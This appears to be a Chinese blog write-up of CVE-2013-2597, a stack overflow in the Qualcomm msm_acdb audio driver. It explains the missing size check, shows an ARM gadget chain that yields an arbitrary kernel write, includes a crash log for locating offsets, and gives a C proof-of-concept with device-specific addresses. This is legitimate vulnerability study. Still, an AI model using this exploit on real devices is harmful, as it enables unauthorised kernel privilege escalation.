• Stack-based buffer overflow in acdb audio driver (CVE-2013-2597)


    /*

    本文章由 莫灰灰 编写,转载请注明出处。  

    作者:莫灰灰    邮箱: minzhenfei@163.com

    */

    1. 漏洞描写叙述

    音频驱动acdb提供了一个ioctl的系统接口让应用层调用,然而,其在处理传进来的參数时没有做有效的边界检查。应用程序能够通过/dev/msm_acdb设备文件就能达到提升权限的目的。


    2. 漏洞分析

    原始代码例如以下
    if (size <= 0) {
    	pr_err("%s: Invalid size sent to driver: %d
    ",
    		__func__, size);
    	result = -EFAULT;
    	goto done;
    }
    
    if (copy_from_user(data, (void *)(arg + sizeof(size)), size)) {
    
    	pr_err("%s: fail to copy table size %d
    ", __func__, size);
    	result = -EFAULT;
    	goto done;
    }

    acdb驱动在处理ioctl的时候,仅仅对输入的參数大小做了size<=0的推断,而没有做>的推断,紧接着,copy_from_user(data, (void *)(arg + sizeof(size)), size)的调用造成局部变量data的栈溢出。
    
    
    
    
    3. 漏洞利用
    1.原来的流程 - do_vfs_ioctl调用acdb_ioctl后返回
    
    do_vfs_ioctl:
    STMPW [SP], { R4-R9, LR }
    ...
    BL acdb_ioctl
    ...
    ADD SP, SP, #$44 // (2)
    LDMUW [SP], { R4-R9, PC } // (1)
    

    2.acdb_ioctl当中一段,能够获得控制PC的机会。改动寄存器的位置是 (3),这里能够操作R4-PC的全部数值了
    acdb_ioctl:
    ...
    ADD SP, SP, #$84
    LDMUW [SP], { R4-R11, PC } // (3)
    通过栈溢出,改动R5,R9,PC的值。
    
    3.上面的指令,通过堆栈溢出,控制PC的值,跳转到以下代码运行
    STR R5, [R9] // (4)
    LDMUW [SP], { R4-R10, PC } // (5)
    此处很关键,主要通过STR指令,将R5的值设置到R9的地址中,即通过栈溢出达到随意地址写的目的。
    
    
    4.运行(5)之后,为了堆栈平衡,栈要填充 4*8 字节,然后设置下一跳的PC,即返回到(2)那里去
    ADD SP, SP, #$24 // (6)
    LDMUW [SP], { R4-R9, PC }

    5.实际栈的位置和p->data的位置须要硬编码适配。
    p->data[...]的値须要初始化的时候设置。
    硬编码的地址请在pc上通过崩溃的日志分析。
    p->data[i]=i 这样来试探(注:给数据标上相对偏移,方便通过栈来定位),这个样例中,PC在&p->data[0x9c]的位置。
    例:
    ACDB=> ACDB ioctl not found!
    Unable to handle kernel paging request at virtual address 9f9e9d9c
    pgd = df56c000
    [9f9e9d9c] *pgd=00000000
    Internal error: Oops: 80000005 [#1] PREEMPT SMP
    Modules linked in:
    CPU: 1 Tainted: G W (3.0.8+1.0.21100-02148-g79e6d0e #1)
    PC is at 0x9f9e9d9c
    LR is at acdb_ioctl+0x740/0x860

    6.设置好堆栈布局
    
    ((unsigned int)&p->data[0x80]) = value;     //r5: PC - 4*7
    ((unsigned int)&p->data[0x90]) = address;   //r9: PC - 4*3
    ((unsigned int)&p->data[0x9c]) = (4)的地址; //pc: PC
    ((unsigned int)&p->data[0xbc]) = (6)地址;   //pc: PC + 4*8

    4. PoC
    static int
    write_value(const acdb_param *param, unsigned long address, unsigned long value)
    {
        const char *device_name = "/dev/msm_acdb";
        struct acdb_ioctl arg;
    
        int fd;
        int ret;
        int i;
    
        fd = open(device_name, O_RDONLY);
        if (fd < 0) {
          ALOGI("failed to open %s due to %s.
    ", device_name, strerror(errno));
          return -1;
        }
    
        arg.size = param->pc2.pos + 4;
    
        for (i = 0; i < arg.size; i += 4) {
          *(unsigned long int *)&arg.data[i] = i;
        }
    
        *(unsigned long int *)&arg.data[param->address_pos] = address; // R9<span style="white-space:pre">	</span>
        *(unsigned long int *)&arg.data[param->value_pos] = value; // R5
        *(unsigned long int *)&arg.data[param->pc1.pos] = param->pc1.value; // 
        *(unsigned long int *)&arg.data[param->pc2.pos] = param->pc2.value; //
    
        ret = ioctl(fd, 9999, &arg); // 随意触发一个ioctl,造成堆栈溢出,使得随意地址写入漏洞的触发
        close(fd);
    
        return 0;
    }
    当中,param的值相应例如以下:
    { DEVICE_SO05D_7_0_D_1_137,       { 0x80, 0x90, { 0x9c, 0xc03265d8 }, { 0xbc, 0xc0524d84 } } },
    
    

    5.漏洞修复
    添加了对size上限的控制
    
    
    
    
    參考文章:
    http://retme.net/index.php/2014/03/31/CVE-2013-2597-acdb.html
    
    https://www.codeaurora.org/projects/security-advisories/stack-based-buffer-overflow-acdb-audio-driver-cve-2013-2597
    
    https://gist.github.com/fi01/5857693
    
    
    


  • 相关阅读:
    圣诞关你鸟事!
    吾属于人民,如何当家作主
    请不要做浮躁的人!
    被鬼压?
    分手后要记得做10件事情
    人生少走弯路的10条忠告
    不要一辈子靠技术生存
    跨浏览器的 inlineblock 实现[CSS]
    MVC Razor的使用
    SQL Server重温——视图、存储过程
  • 原文地址:https://www.cnblogs.com/zfyouxi/p/4311873.html
Copyright © 2020-2023  润新知